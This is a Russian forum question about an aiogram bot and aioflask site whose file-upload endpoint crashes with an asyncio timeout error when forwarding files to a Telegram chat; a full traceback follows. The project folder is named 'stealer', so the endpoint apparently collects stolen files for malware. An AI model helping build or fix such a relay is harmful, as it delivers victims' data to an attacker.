Поднимаю бота на aiogram и сайт на aioflask
Всё запускается, но как только пост-запросом сайт принимает файл и пытается его отправить возникает ошибка.
@app.route('/', methods=['POST'])
async def send():
file = request.files['file']
await bot.send_document(chat_id, document=file)
def startHost():
loop = asyncio.new_event_loop()
asyncio.set_event_loop(loop)
loop.run_in_executor(executor.start_polling(dp, skip_updates=True))
if __name__ == "__main__":
threadBot = Thread(target=startHost).start()
app.run(host=host)
Ошибка:
[2022-10-16 19:14:15,436] ERROR in app: Exception on / [POST]
Traceback (most recent call last):
File "C:\Users\Professional\AppData\Local\Programs\Python\Python39\lib\site-packages\flask\app.py", line 2073, in wsgi_app
response = self.full_dispatch_request()
File "C:\Users\Professional\AppData\Local\Programs\Python\Python39\lib\site-packages\flask\app.py", line 1519, in full_dispatch_request
rv = self.handle_user_exception(e)
File "C:\Users\Professional\AppData\Local\Programs\Python\Python39\lib\site-packages\flask\app.py", line 1517, in full_dispatch_request
rv = self.dispatch_request()
File "C:\Users\Professional\AppData\Local\Programs\Python\Python39\lib\site-packages\flask\app.py", line 1503, in dispatch_request
return self.ensure_sync(self.view_functions[rule.endpoint])(**req.view_args)
File "C:\Users\Professional\AppData\Local\Programs\Python\Python39\lib\site-packages\aioflask\app.py", line 47, in wrapped
return await_(_coro())
File "C:\Users\Professional\AppData\Local\Programs\Python\Python39\lib\site-packages\greenletio\core.py", line 130, in await_
return parent.switch(coro_or_fn)
File "C:\Users\Professional\AppData\Local\Programs\Python\Python39\lib\site-packages\greenletio\core.py", line 88, in wrapper
result = await coro
File "C:\Users\Professional\AppData\Local\Programs\Python\Python39\lib\site-packages\aioflask\app.py", line 41, in _coro
ret = await func(*args, **kwargs)
File "c:\Users\Professional\Desktop\stealer\server.py", line 18, in send
await bot.send_document(1684817923, document=file)
File "C:\Users\Professional\AppData\Local\Programs\Python\Python39\lib\site-packages\aiogram\bot\bot.py", line 708, in send_document
result = await self.request(api.Methods.SEND_DOCUMENT, payload, files)
File "C:\Users\Professional\AppData\Local\Programs\Python\Python39\lib\site-packages\aiogram\bot\base.py", line 231, in request
return await api.make_request(await self.get_session(), self.server, self.__token, method, data, files,
File "C:\Users\Professional\AppData\Local\Programs\Python\Python39\lib\site-packages\aiogram\bot\api.py", line 139, in make_request
async with session.post(url, data=req, **kwargs) as response:
File "C:\Users\Professional\AppData\Local\Programs\Python\Python39\lib\site-packages\aiohttp\client.py", line 1138, in __aenter__
self._resp = await self._coro
File "C:\Users\Professional\AppData\Local\Programs\Python\Python39\lib\site-packages\aiohttp\client.py", line 466, in _request
with timer:
File "C:\Users\Professional\AppData\Local\Programs\Python\Python39\lib\site-packages\aiohttp\helpers.py", line 701, in __enter__
raise RuntimeError(
RuntimeError: Timeout context manager should be used inside a task